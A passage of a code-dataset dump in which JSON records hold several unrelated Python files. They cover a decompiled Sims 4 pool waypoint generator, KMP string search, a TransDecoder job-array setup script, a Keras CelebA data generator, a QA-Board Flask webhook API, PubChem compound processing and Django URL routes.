105)\n# endregion\n\nBALL_CHAR_GREEN = \"G\"\nBALL_CHAR_RED = \"R\"\nBALL_CHAR_BLUE = \"B\"\nBALL_CHAR_CYAN = \"C\"\nBALL_CHAR_YELLOW = \"Y\"\nBALL_CHAR_MAGENTA = \"M\"\nBALL_CHAR_BROWN = \"W\"\n\nCELL_CHAR = '.'\n\nHINT_MODE_MULTIPLIER = {0: 1, 1: 1.5, 2: 2}\n","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"482511224","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.7.9 (tags/v3.7.9:13c94747c7, Aug 17 2020, 18:58:18) [MSC v.1900 64 bit (AMD64)]\n# Embedded file name: T:\\InGame\\Gameplay\\Scripts\\Server\\routing\\waypoints\\waypoint_generator_pool.py\n# Compiled at: 2020-03-06 03:29:12\n# Size of source mod 2**32: 13352 bytes\nfrom _math import Vector3\nfrom interactions.constraints import Nowhere, create_constraint_set, OceanStartLocationConstraint, WaterDepthIntervals, WaterDepthIntervalConstraint, Circle, Constraint\nfrom objects.pools import pool_utils\nfrom routing.waypoints.waypoint_generator import _WaypointGeneratorBase\nfrom sims4.color import Color\nfrom sims4.geometry import CompoundPolygon\nfrom sims4.tuning.tunable import TunableRange, Tunable, TunableTuple, OptionalTunable\nimport build_buy, debugvis, random, routing, sims4.log\nlogger = sims4.log.Logger('WaypointGeneratorPool')\n\nclass _WaypointGeneratorPool(_WaypointGeneratorBase):\n FACTORY_TUNABLES = {'constraint_width':TunableRange(description='\\n The width of the constraint created around the edge of the pool.\\n ',\n tunable_type=float,\n default=1.5,\n minimum=0), \n 'ocean_constraint_radius':TunableRange(description='\\n When in the ocean, the radius of the area around the nearest swim\\n portal to generate waypoints.\\n ',\n tunable_type=float,\n default=30,\n minimum=0,\n maximum=1000), \n 'ocean_constraint_distance_past_swim_portal':TunableRange(description='\\n When in the ocean, an offset away from the nearest swim portal to\\n center the area to generate waypoints.\\n ',\n tunable_type=float,\n default=0,\n minimum=0), \n 'ocean_unique_goal_count':TunableRange(description='\\n When in the ocean, the number of unique waypoints to generate.\\n ',\n tunable_type=int,\n default=10,\n minimum=0), \n 'shuffle_waypoints':Tunable(description='\\n If true, pool edge waypoint constraints will be shuffled and traversed in a random order.\\n If false, pool edge waypoint constraints will be traversed in counter-clockwise order. \\n ',\n tunable_type=bool,\n default=True), \n 'keep_away_from_edges':OptionalTunable(description='\\n If enabled, turns on a constraint that forces sims away from the pool edges by a tuned distance.\\n ',\n tunable=Tunable(description='\\n The distance from the pool edge.\\n ',\n tunable_type=float,\n default=0.25))}\n\n def __init__(self, *args, **kwargs):\n (super().__init__)(*args, **kwargs)\n sim = self._context.sim\n self._routing_surface = routing.SurfaceIdentifier(self._routing_surface.primary_id, self._routing_surface.secondary_id, routing.SurfaceType.SURFACETYPE_POOL)\n position = self._target.position if self._target is not None else sim.position\n level = self._routing_surface.secondary_id\n self._start_constraint = None\n self._master_depth_constraint = None\n self._waypoint_constraints = []\n self.keep_away_constraint = None\n self._location_is_pool = build_buy.is_location_pool(position, level)\n if self._location_is_pool:\n pool_block_id = build_buy.get_block_id(sim.zone_id, position, level - 1)\n pool = pool_utils.get_pool_by_block_id(pool_block_id)\n if pool is not None:\n pool_edge_constraints = pool.get_edge_constraint(constraint_width=(self.constraint_width), inward_dir=True,\n return_constraint_list=True)\n pool_edge_constraints = [constraint.generate_geometry_only_constraint() for constraint in pool_edge_constraints]\n if self.keep_away_from_edges is not None:\n bb_polys = build_buy.get_pool_polys(pool_block_id, level - 1)\n if len(bb_polys) > 0:\n bb_poly = bb_polys[0]\n _WaypointGeneratorPool._push_poly_inward(bb_poly, self.keep_away_from_edges)\n bb_poly.reverse()\n keep_away_geom = sims4.geometry.RestrictedPolygon(sims4.geometry.Polygon(bb_poly), ())\n self.keep_away_constraint = Constraint(routing_surface=(pool.provided_routing_surface), geometry=keep_away_geom)\n else:\n logger.error(f\"Pool Waypoint Generator: Pool polygon data unexpectedly empty while ${sim} was routing on a pool with id ${pool_block_id}.\", owner='jmorrow')\n for i in range(len(pool_edge_constraints)):\n pool_edge_constraints[i] = pool_edge_constraints[i].intersect(self.keep_away_constraint)\n\n self._start_constraint = create_constraint_set(pool_edge_constraints)\n self._waypoint_constraints = pool_edge_constraints\n\n def get_start_constraint(self):\n if self._start_constraint is not None:\n return self._start_constraint\n else:\n sim = self._context.sim\n position = self._target.position if self._target is not None else sim.position\n relative_offset_vector = Vector3(0, 0, self.ocean_constraint_distance_past_swim_portal)\n if self._target is not None:\n if self._target.routing_surface is not None:\n routing_surface = self._target.routing_surface\n else:\n routing_surface = sim.routing_surface\n if routing_surface.type != routing.SurfaceType.SURFACETYPE_POOL:\n self._start_constraint = OceanStartLocationConstraint.create_simple_constraint((WaterDepthIntervals.SWIM),\n (self.ocean_constraint_radius), sim, (self._target), position, ideal_radius=(self.constraint_width),\n ideal_radius_width=(self.constraint_width),\n relative_offset_vector=relative_offset_vector)\n else:\n self._start_constraint = Circle(position, (self.ocean_constraint_radius), routing_surface=(self._routing_surface))\n self._master_depth_constraint = WaterDepthIntervalConstraint.create_water_depth_interval_constraint(sim, WaterDepthIntervals.SWIM)\n self._start_constraint = self._start_constraint.intersect(self._master_depth_constraint)\n return self._start_constraint\n\n def get_waypoint_constraints_gen(self, routing_agent, waypoint_count):\n if self._start_constraint is None:\n self.get_start_constraint()\n if self._start_constraint is not None:\n if not self._waypoint_constraints:\n goals = []\n handles = self._start_constraint.get_connectivity_handles(routing_agent)\n for handle in handles:\n goals.extend(handle.get_goals(always_reject_invalid_goals=True))\n\n if goals:\n agent_radius = routing_agent.routing_component.pathplan_context.agent_radius\n ocean_goal_count = min(len(goals), self.ocean_unique_goal_count)\n for _ in range(ocean_goal_count):\n goal = random.choice(goals)\n if goal is None:\n break\n goals.remove(goal)\n constraint = Circle((goal.position), agent_radius, routing_surface=(self._routing_surface))\n self._waypoint_constraints.append(constraint.intersect(self._master_depth_constraint))\n\n available_waypoint_count = len(self._waypoint_constraints)\n if available_waypoint_count == 0:\n return\n use_pool_debug_visualizer = False and routing.waypoints.waypoint_generator.enable_waypoint_visualization and self._location_is_pool\n if use_pool_debug_visualizer:\n polygon_metadata = {}\n for i in range(waypoint_count):\n if i % available_waypoint_count == 0:\n if self.shuffle_waypoints:\n random.shuffle(self._waypoint_constraints)\n yield self._waypoint_constraints[(i % available_waypoint_count)]\n if use_pool_debug_visualizer:\n self._build_polygon_metadata_dictionary(polygon_metadata, self._waypoint_constraints[(i % available_waypoint_count)], i)\n\n if use_pool_debug_visualizer:\n self._draw_pool_debugvis(polygon_metadata)\n\n def _draw_pool_debugvis(self, polygon_metadata):\n color_palette = [\n Color.WHITE, Color.BLUE, Color.GREEN, Color.MAGENTA]\n if routing.waypoints.waypoint_generator.enable_waypoint_visualization:\n with debugvis.Context(routing.waypoints.waypoint_generator.DEBUGVIS_WAYPOINT_LAYER_NAME) as (layer):\n for entry in polygon_metadata.values():\n position = entry[0]\n waypoint_indices = entry[1]\n layer.add_text_world(position, f\"{waypoint_indices}\")\n\n for index, constraint in enumerate(self._waypoint_constraints):\n polygon = constraint.geometry.polygon\n layer.add_polygon(polygon, color=(color_palette[(index % 4)]), altitude=0.1)\n\n if self.keep_away_from_edges is not None:\n polygon = self.keep_away_constraint.geometry.polygon\n layer.add_polygon(polygon, color=(Color.BLACK), altitude=0.1)\n\n def _build_polygon_metadata_dictionary(self, polygon_metadata, constraint, waypoint_index):\n compound_polygon = constraint.geometry.polygon\n if isinstance(compound_polygon, CompoundPolygon):\n for polygon in compound_polygon:\n if len(polygon) > 0:\n key = polygon\n if key not in polygon_metadata:\n center = sum(polygon, Vector3.ZERO()) / len(polygon)\n polygon_metadata[key] = (center, [])\n waypoint_indices = polygon_metadata[key][1]\n waypoint_indices.append(waypoint_index)\n else:\n sim = self._context.sim\n logger.error(f\"Pool Waypoint Generator: Polygon unexpectedly contains no vertices while drawing debug visuals of ${sim}'s route\", owner='jmorrow')\n\n else:\n sim = self._context.sim\n logger.error(f\"Pool Waypoint Generator: Constraint geometry in unexpected format while drawing debug visuals of ${sim}'s route.\", owner='jmorrow')\n\n @staticmethod\n def _push_poly_inward(verts, amt):\n for i in range(1, len(verts)):\n _WaypointGeneratorPool._push_edge_inward(verts, i - 1, i, amt)\n\n _WaypointGeneratorPool._push_edge_inward(verts, i, 0, amt)\n\n @staticmethod\n def _push_edge_inward(verts, start, stop, amt):\n along = amt * sims4.math.vector_normalize(verts[stop] - verts[start])\n inward = sims4.math.vector3_rotate_axis_angle(along, sims4.math.PI / 2, sims4.math.Vector3.Y_AXIS())\n verts[start] += inward\n verts[stop] += inward","sub_path":"Scripts/simulation/routing/waypoints/waypoint_generator_pool.py","file_name":"waypoint_generator_pool.py","file_ext":"py","file_size_in_byte":11184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"200755881","text":"\"\"\"\n\tKnuth-Morris-Pratt substring search\n\tO(|P| + |T|) time and space\n\"\"\"\ndef prefix_function(P):\n\t\"Return the prefix function of P\"\n\tn = len(P)\n\ts = [0] * n\n\tborder = 0\n\tfor i in range(1, n):\n\t\twhile border > 0 and P[i] != P[border]:\n\t\t\tborder = s[border-1]\n\t\tif P[i] == P[border]:\n\t\t\tborder = border + 1\n\t\telse: border = 0\n\t\ts[i] = border\n\treturn s\n\ndef find_all(P, T, sep):\n\t\"\"\"Return all occurrences of P in T.\n\tCharacter sep must not occur in either P or T.\"\"\"\n\tS = P + sep + T\n\ts = prefix_function(S)\n\tocc = []\n\tlenP, lenS = len(P), len(S)\n\tfor i in range(lenP+1, lenS):\n\t\tif s[i] == lenP:\n\t\t\tocc.append(i - 2 * lenP)\n\treturn occ\n\t\ndef main():\n\tT, P = input(), input()\n\tprint(' '.join(map(str, find_all(P, T, '\\x01'))))\n\t\nif __name__ == \"__main__\": main()\n\n","sub_path":"KMP.py","file_name":"KMP.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149842411","text":"#!/usr/bin/python3\n# transdecoder_predict_setup.py by josh\n\nimport re\nimport glob\nimport os\nimport subprocess\nimport sys\n\ntranscriptomeList = [os.path.abspath(x) for x in glob.glob(\"./*_Peru_mega_transcriptome_Josh.fasta\")]\n\ntranscriptomeList.sort()\n\nprint(transcriptomeList)\nprint(len(transcriptomeList))\n\ncommandListName = \"predict_array_commands.txt\"\ncommandList = open(commandListName, \"w\")\n\nfor transcriptome in transcriptomeList:\n print(transcriptome)\n outDir = transcriptome + \".transdecoder_dir\"\n print(outDir)\n blastOutFile = outDir + \"/blastp.outfmt6\"\n print(blastOutFile)\n pfamOutFile = outDir + \"/pfam.domtblout\"\n print(pfamOutFile)\n transdecoderCommand = \"/data/home/btw915/programs/login2/TransDecoder-TransDecoder-v5.0.2/TransDecoder.Predict -t {} --retain_pfam_hits {} --retain_blastp_hits {}\".format(transcriptome, pfamOutFile, blastOutFile)\n print(transdecoderCommand)\n commandList.write(transdecoderCommand + \"\\n\")\n\ncommandList.close()\n\narrayFileName = \"predict_array.sh\"\n\narrayFile = open(arrayFileName, \"w\")\n\narrayFile.write(\"\"\"#!/bin/sh\n#$ -cwd\\t\\t\\t# Use current working directory\n#$ -V\\t\\t\\t# Verbose\n#$ -j y\\t\\t\\t# Maximum output, inc errors\n#$ -r y\\t\\t\\t# Combine output files\\n\"\"\")\narrayFile.write(\"#$ -pe smp 1\\t\\t\\t# Request CPU cores\\n\")\narrayFile.write(\"\"\"#$ -l h_rt=48:0:0\\t\\t\\t# Request runtime (up to 240 hours)\n#$ -l h_vmem=8G\\t\\t\\t# Request RAM per core\n#$ -l node_type=nxv\\t\\t\\t# Node type\n#$ -m bea\\t\\t\\t# Status emails\\n\"\"\")\narrayFile.write(\"#$ -t 1-{}\\n\\n\".format(str(len(transcriptomeList))))\n\narrayFile.write(\"module load perl\\n\")\narrayFile.write(\"module load perl5lib\\n\")\narrayFile.write(\"module load blast+\\n\")\narrayFile.write(\"module load hmmer\\n\\n\")\n\narrayFile.write(\"\"\"COMMAND1=\"$(sed -n -e \"$SGE_TASK_ID p\" predict_array_commands.txt)\"\\n\\n\"\"\")\narrayFile.write(\"echo -e \\\"$COMMAND1\\n\\n\\\"\\n\\n\")\narrayFile.write(\"$COMMAND1\\n\")\n\narrayFile.close()\n\nsubprocess.call([\"chmod\",\"u+x\",\"{}\".format(arrayFileName)])\n\nquit()\n","sub_path":"transdecoder_predict_setup.py","file_name":"transdecoder_predict_setup.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"173376585","text":"import os, h5py\nimport scipy.io as mat_load\nimport numpy as np\nnp.random.seed(1337) # for reproducibility\n\nimport numpy.random as rng\nfrom keras.models import Sequential, Model\nfrom keras.layers import Dense, Dropout, Input, Lambda, BatchNormalization\nfrom keras import optimizers\nfrom keras import backend as K\nfrom keras.models import Model\nfrom keras.layers import Conv2D, MaxPooling2D,concatenate\nfrom keras.layers import Activation, Dropout, Flatten, Dense,Input\nfrom keras.utils.data_utils import get_file\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import load_model\nfrom keras.preprocessing import image\nfrom keras.applications.vgg16 import preprocess_input\nfrom keras.applications import vgg16, vgg19,inception_v3,resnet50\n\n#parameters\nimg_width, img_height, depth = 224,224,3\nimg_input = Input(shape=(img_height,img_width,depth))\nnb_train_samples = 162770\nnb_validation_samples = 202599\nnb_epoch = 2\nbatch_size = 64\n\n# define top_network\ndef top_network(network_input):\n #bn_name = 'bn_' + str(id)\n y = Conv2D(300, (3, 3), activation='relu', padding='same')(network_input)\n y = BatchNormalization()(y)\n top_output = MaxPooling2D((5, 5), strides=(2, 2))(y)\n\n top_model = Model(inputs = network_input, outputs = top_output)\n return top_model\n\n# TODO Step 1: Date generators\ndef train_generator():\n #full_image_dir = 'keras_data/full_image/train'\n image_dir = 'data/img_align_celeba/'\n label_file = mat_load.loadmat('data/celebA_attr_label')\n label_data = label_file['labels']\n train_batch_size = batch_size\n image_id = 1\n train_index_thr = batch_size * int(nb_train_samples/batch_size)\n\n while True:\n\n batch_feature = []\n image_count = 0\n attr_label = np.array([[0 for aa in range(40)]for xx in range(batch_size)])\n\n if((image_id+batch_size) > train_index_thr):\n image_id = 1\n\n while(image_count < train_batch_size and image_id < nb_train_samples):\n #image_id = rng.randint(1,nb_train_samples)\n try:\n #val_flag = False\n filename = image_dir + str(image_id).zfill(6) + '.jpg'\n face_img = image.load_img(filename, target_size=(img_height,img_width))\n x = image.img_to_array(face_img)\n x = np.expand_dims(x, axis=0)\n feature01 = preprocess_input(x)\n\n for ll in range(40):\n attr_label[image_count][ll] = label_data[image_id-1][ll]\n\n batch_feature += [feature01]\n image_count = image_count + 1\n image_id = image_id + 1\n except IOError:\n continue\n\n label_attr01 = attr_label[:,0]\n label_attr02 = attr_label[:,1]\n label_attr03 = attr_label[:,2]\n label_attr04 = attr_label[:,3]\n label_attr05 = attr_label[:,4]\n label_attr06 = attr_label[:,5]\n label_attr07 = attr_label[:,6]\n label_attr08 = attr_label[:,7]\n label_attr09 = attr_label[:,8]\n label_attr10 = attr_label[:,9]\n label_attr11 = attr_label[:,10]\n label_attr12 = attr_label[:,11]\n label_attr13 = attr_label[:,12]\n label_attr14 = attr_label[:,13]\n label_attr15 = attr_label[:,14]\n label_attr16 = attr_label[:,15]\n label_attr17 = attr_label[:,16]\n label_attr18 = attr_label[:,17]\n label_attr19 = attr_label[:,18]\n label_attr20 = attr_label[:,19]\n label_attr21 = attr_label[:,20]\n label_attr22 = attr_label[:,21]\n label_attr23 = attr_label[:,22]\n label_attr24 = attr_label[:,23]\n label_attr25 = attr_label[:,24]\n label_attr26 = attr_label[:,25]\n label_attr27 = attr_label[:,26]\n label_attr28 = attr_label[:,27]\n label_attr29 = attr_label[:,28]\n label_attr30 = attr_label[:,29]\n label_attr31 = attr_label[:,30]\n label_attr32 = attr_label[:,31]\n label_attr33 = attr_label[:,32]\n label_attr34 = attr_label[:,33]\n label_attr35 = attr_label[:,34]\n label_attr36 = attr_label[:,35]\n label_attr37 = attr_label[:,36]\n label_attr38 = attr_label[:,37]\n label_attr39 = attr_label[:,38]\n label_attr40 = attr_label[:,39]\n\n batch_feature = np.array(batch_feature)\n batch_feature = np.squeeze(batch_feature)\n\n yield (batch_feature,[label_attr01,label_attr02,label_attr03, \\\n label_attr04,label_attr05,label_attr06,label_attr07, \\\n label_attr08,label_attr09,label_attr10,label_attr11, \\\n label_attr12,label_attr13,label_attr14,label_attr15, \\\n label_attr16,label_attr17,label_attr18,label_attr19, \\\n label_attr20,label_attr21,label_attr22,label_attr23, \\\n label_attr24,label_attr25,label_attr26,label_attr27, \\\n label_attr28,label_attr29,label_attr30,label_attr31, \\\n label_attr32,label_attr33,label_attr34,label_attr35, \\\n label_attr36,label_attr37,label_attr38,label_attr39,label_attr40])\n\n\n(feature, [l01,l02,l03,l04,l05,l06,l07,l08,l09,l10, \\\n l11,l12,l13,l14,l15,l16,l17,l18,l19,l20, \\\n l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,\\\n l31,l32,l33,l34,l35,l36,l37,l38,l39,l40]) = next(train_generator())\n\nprint(feature.shape)\nprint(l01.shape)\n","sub_path":"scrap01.py","file_name":"scrap01.py","file_ext":"py","file_size_in_byte":5381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"253574122","text":"\"\"\"\nHere is the \"write\" part of the API, to signal more data is ready.\nIt includes the actual webhooks sent e.g. by Gitlab, as well as\nAPI calls to update batches and outputs.\n\"\"\"\nimport sys\nimport json\nimport yaml\nimport datetime\nimport traceback\nimport subprocess\nfrom pathlib import Path\n\nfrom flask import request, jsonify\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom sqlalchemy.orm.attributes import flag_modified\n\nfrom backend import app, repos, db_session\nfrom ..models import Project, CiCommit, Batch, Output, TestInput\nfrom ..models.Project import update_project\n\nfrom qaboard.conventions import deserialize_config\n\n\n@app.route('/api/v1/batch', methods=['POST'])\n@app.route('/api/v1/batch/', methods=['POST'])\ndef update_batch():\n data = request.get_json()\n try:\n ci_commit = CiCommit.get_or_create(\n session=db_session,\n hexsha=request.json['git_commit_sha'],\n project_id=request.json['project'],\n )\n except:\n return f\"404 ERROR:\\n ({request.json['project']}): There is an issue with your commit id ({request.json['git_commit_sha']})\", 404\n\n batch = ci_commit.get_or_create_batch(data['batch_label'])\n if not batch.data:\n batch.data = {}\n batch_data = request.json.get('data', {})\n batch.data = {**batch.data, **batch_data}\n\n command = request.json.get('command')\n if command:\n batch.data[\"commands\"] = {**batch.data.get('commands', {}), **command}\n flag_modified(batch, \"data\")\n\n is_best = 'best_iter' in batch_data and batch_data['best_iter'] != batch.data.get('best_iter')\n if is_best:\n # remove all non-optim_iteration results from the batch\n batch.outputs = [o for o in batch.outputs if o.output_type=='optim_iteration']\n db_session.add(batch)\n db_session.commit()\n # make copy of all outputs in the best batch\n best_batch = ci_commit.get_or_create_batch(f\"{data['batch_label']}|iter{batch_data.get('best_iter')}\")\n for o in best_batch.outputs:\n o_copy = o.copy()\n o_copy.output_dir_override = str(o.output_dir)\n o_copy.batch = batch\n db_session.add(o_copy)\n\n db_session.add(batch)\n db_session.commit()\n return jsonify({\"status\": \"OK\"})\n\n\n\n@app.route('/api/v1/batch/stop', methods=['POST'])\n@app.route('/api/v1/batch/stop/', methods=['POST'])\ndef stop_batch():\n data = request.get_json()\n try:\n batch = Batch.query.filter(Batch.id == data['id']).one()\n except:\n return f\"404 ERROR:\\n Not found\", 404\n status = batch.stop()\n return jsonify(status), 200 if not \"error\" in status else 500\n\n@app.route('/api/v1/batch/redo', methods=['POST'])\n@app.route('/api/v1/batch/redo/', methods=['POST'])\ndef redo_batch():\n data = request.get_json()\n try:\n batch = Batch.query.filter(Batch.id == data['id']).one()\n except:\n return f\"404 ERROR:\\n Not found\", 404\n status = batch.redo(only_deleted=data.get('only_deleted', False))\n return '{\"status\": \"OK\"}'\n\n@app.route('/api/v1/batch/rename', methods=['POST'])\n@app.route('/api/v1/batch/rename/', methods=['POST'])\ndef rename_batch():\n data = request.get_json()\n try:\n batch = Batch.query.filter(Batch.id == data['id']).one()\n except:\n return f\"404 ERROR:\\n Not found\", 404\n status = batch.rename(label=data['label'], db_session=db_session)\n return '{\"status\": \"OK\"}'\n\n\n@app.route('/api/v1/batch/', methods=['DELETE'])\n@app.route('/api/v1/batch//', methods=['DELETE'])\ndef delete_batch(batch_id):\n try:\n batch = Batch.query.filter(Batch.id == batch_id).one()\n except:\n return f\"404 ERROR:\\nNot found\", 404\n stop_status = batch.stop()\n if \"error\" in stop_status:\n return jsonify(stop_status), 500\n batch.delete(session=db_session, only_failed=request.args.get('only_failed', False))\n return {\"status\": \"OK\"}\n\n\n\n@app.route('/api/v1/output', methods=['POST'])\n@app.route('/api/v1/output/', methods=['POST'])\ndef new_output_webhook():\n \"\"\"Updates the database when we get new results.\"\"\"\n data = request.get_json()\n\n # We get a handle on the Commit object related to our new output\n try:\n ci_commit = CiCommit.get_or_create(\n session=db_session,\n hexsha=data['git_commit_sha'],\n project_id=data['project'],\n )\n except:\n return jsonify({\"error\": f\"Could not find your commit ({data['git_commit_sha']}).\"}), 404\n\n ci_commit.project.latest_output_datetime = datetime.datetime.utcnow()\n ci_commit.latest_output_datetime = datetime.datetime.utcnow()\n\n # We make sure the Test on which we ran exists in the database \n test_input_path = data.get('input_path')\n if not test_input_path:\n return jsonify({\"error\": \"the input path was not provided\"}, 400)\n test_input = TestInput.get_or_create(\n db_session,\n path=test_input_path,\n database=data.get('database', ci_commit.project.database),\n )\n\n # We save the basic information about our result\n batch = ci_commit.get_or_create_batch(data['batch_label'])\n if not batch.data:\n batch.data = {}\n batch.data.update({\"type\": data['job_type']})\n if data.get('input_metadata'):\n test_input.data['metadata'] = data['input_metadata']\n flag_modified(test_input, \"data\")\n\n platform = data['platform']\n # if platform == 'lsf':\n # platform = 'linux'\n # elif platform == 'windows':\n # platform = 'win32'\n\n configurations = deserialize_config(data['configuration']) if 'configuration' in data else data['configurations']\n output = Output.get_or_create(db_session,\n batch=batch,\n platform=platform,\n configurations=configurations,\n extra_parameters=data['extra_parameters'],\n test_input=test_input,\n )\n output.output_type = data.get('input_type', '')\n\n output.data = data.get('data', {})\n # we can only trust CI outputs to run on the exact code from the commit\n output.data[\"ci\"] = data['job_type'] == 'ci'\n if output.deleted:\n output.deleted = False\n\n # We allow users to save their data in custom locations\n # at the commit and output levels\n if Path(data.get('commit_ci_dir', ci_commit.commit_dir)).resolve() != Path(ci_commit.commit_dir):\n ci_commit.commit_dir_override = data.get('commit_ci_dir')\n if Path(data.get('output_directory', output.output_dir)) != output.output_dir:\n output.output_dir_override = data.get('output_directory')\n\n # We update the output's status\n output.is_running = data.get('is_running', False)\n if output.is_running:\n output.is_pending = True\n else:\n output.is_pending = data.get('is_pending', False)\n\n # We save the output's metrics\n if not output.is_pending:\n metrics = data.get('metrics', {})\n output.metrics = metrics\n output.is_failed = data.get('is_failed', False) or metrics.get('is_failed')\n\n db_session.add(output)\n db_session.commit()\n return jsonify(output.to_dict())\n\n\n\n@app.route('/webhook/gitlab', methods=['GET', 'POST'])\ndef gitlab_webhook():\n \"\"\"Gitlab calls this endpoint every push, it garantees we stay synced.\"\"\"\n # https://docs.gitlab.com/ce/user/project/integrations/webhooks.html\n data = json.loads(request.data)\n print(data, file=sys.stderr)\n update_project(data, db_session)\n return \"{status:'OK'}\"\n\n","sub_path":"backend/backend/api/webhooks.py","file_name":"webhooks.py","file_ext":"py","file_size_in_byte":7247,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"300388251","text":"import os\nimport numpy as np\nimport csv\nimport pubchempy as pcp\nimport argparse\nimport pickle\nfrom tqdm import tqdm\nfrom rdkit import Chem\nfrom rdkit.Chem import AllChem\nimport modtox.Helpers.preprocess as pr\n\n\nclass PubChem():\n \n def __init__(self, pubchem_folder, stored_files, csv_filename, outputfile, substrate):\n if stored_files != False: self.unknown = False\n else: self.unknown = True\n self.csv_filename = csv_filename\n self.folder = pubchem_folder\n self.outputfile = outputfile\n self.substrate = substrate\n self.splitting()\n\n def to_inchi(self, which_names):\n return [pcp.Compound.from_cid(int(i)).inchi for i in tqdm(which_names)]\n\n def splitting(self):\n if self.unknown:\n print('Reading from {}'.format(self.csv_filename))\n data = self.reading_from_pubchem()\n else:\n try: data = self.reading_from_file()\n except: \n print('Need to provide a valid input file or to read the PubChem file')\n self.active_names = [mol for mol, activity in data.items() if activity == 'Active']\n self.inactive_names = [mol for mol, activity in data.items() if activity == 'Inactive']\n\n def to_sdf(self, actype):\n\n molecules = []\n molecules_rdkit = []\n output = actype + '.sdf'\n w = Chem.SDWriter(output)\n print('Filter and inchikey identification in process ... for {}'.format(actype))\n if actype == 'actives': \n iks, names = self.filtering(self.active_names)\n self.active_inchi = iks\n self.active_names = names\n \n if actype == 'inactives':\n iks, names = self.filtering(self.inactive_names)\n self.inactive_inchi = iks\n self.inactive_names = names\n\n for inchy, name in tqdm(zip(iks, names), total=len(names)-1):\n try:\n m = Chem.inchi.MolFromInchi(str(inchy))\n Chem.AssignStereochemistry(m)\n AllChem.EmbedMolecule(m)\n m.SetProp(\"_Name\", name)\n m.SetProp(\"_MolFileChiralFlag\", \"1\")\n molecules_rdkit.append(m)\n except IndexError:\n print(\"Molecules {} not found\".format(name))\n \n for m in molecules_rdkit: \n w.write(m)\n\n return output, len(names)\n\n\n def filtering(self, which_names):\n iks = self.to_inchi(which_names)\n #checking duplicates\n uniq = set(iks)\n if len(iks) > len(uniq): #cheking repeated inchikeys\n indices = { value : [ i for i, v in enumerate(iks) if v == value ] for value in uniq }\n filt_inchi = [iks[x[0]] for x in indices.values()] #filtered inchikeys\n filt_ids = [which_names[x[0]] for x in indices.values()] #filtering ids: we only get the first\n return filt_inchi, filt_ids\n else:\n print('Duplicates not detected') \n return iks, which_names\n\n\n def reading_from_pubchem(self, total_molec = 100, trash_lines = 8):\n with open(os.path.join(self.folder, self.csv_filename), 'r') as csvfile:\n spamreader = csv.reader(csvfile, delimiter=',')\n idx = None; activities = {}; i = 0\n for row in spamreader:\n if i < total_molec + trash_lines:\n try: idx = row.index(self.substrate + ' ' + 'Activity Outcome') \n except: pass\n if idx != None and i > trash_lines: \n name = row[1]\n activities[name] = row[idx]\n i += 1\n with open(self.outputfile, 'wb') as op:\n pickle.dump(activities, op)\n return activities\n\n def reading_from_file(self): \n \n with open(self.inputname, 'rb') as f:\n data = pickle.load(f)\n return data\n\n\ndef process_pubchem(pubchem_folder, csv_filename, substrate, stored_files = None, outputfile = 'inchi_all.pkl', test=False):\n pub_chem = PubChem(pubchem_folder, stored_files, csv_filename, outputfile, substrate)\n active_output, n_actives = pub_chem.to_sdf(actype = 'actives')\n inactive_output, n_inactives = pub_chem.to_sdf(actype = 'inactives') \n if not test: \n output_proc = pr.ligprep(active_output)\n else:\n output_proc = active_output\n\n return output_proc, inactive_output\n\ndef parse_args(parser):\n parser.add_argument(\"--pubchem\", type=str, help='Pubchem folder')\n parser.add_argument(\"--stored_files\", action = 'store_true', help='Pubchem folder')\n parser.add_argument(\"--csv_filename\", type=str, help = \"csv filename with activities data (e.g. 'AID_1851_datatable_all.csv')\")\n parser.add_argument(\"--substrate\", type = str, help = \"substrate name codification on csv file (e.g. p450-cyp2c9)\") \n","sub_path":"modtox/data/pubchem.py","file_name":"pubchem.py","file_ext":"py","file_size_in_byte":4852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"360725610","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File Name : url\n# Created by ckcat on 1/4/20\n\nfrom django.conf.urls import url\nfrom booktest import views\n\nurlpatterns = [\n url(r'^$', views.index),\n url(r'^temp_var/$', views.temp_var),\n url(r'^temp_tags/$', views.temp_tags),\n url(r'^temp_filter/$', views.temp_filter),\n url(r'^temp_inherit/$', views.temp_inherit),\n url(r'^html_escape/$', views.html_escape),\n url(r'^login/$', views.login),\n url(r'^login_check/$', views.login_check),\n url(r'^post/$', views.post),\n url(r'^post_action/$', views.post_action),\n url(r'^verify_code/$', views.verify_code),\n url(r'^verify_show/$', views.verify_show),\n url(r'^verify_yz/$', views.verify_yz),\n url(r'^verify_change/$', views.verify_change),\n url(r'^fan1/$', views.fan1),\n url(r'^fan_show/$', views.fan2, name='fan2'),\n url(r'^fan(\\d+)_(\\d+)/$', views.fan3, name='fan3'),\n url(r'^fan(?P\\d+)_(?P\\d+)/$', views.fan4, name='fan4'),\n]","sub_path":"Python/Django/test4/booktest/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"327687026","text":"import numpy as np\nimport pandas as pd\nimport torch\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\n\nDATASET_FILENAME = 'harddrive.csv'\n\nMANUFACTURERS = {'HG':'HGST',\n 'Hi':'Hitachi',\n 'SA':'Samsung',\n 'ST':'Seagate',\n 'TO':'Toshiba',\n 'WD':'Western Digital'}\n\nKNOWN_INDICATIVE_COLUMNS = ['smart_5_raw','smart_10_raw','smart_184_raw','smart_187_raw',\n 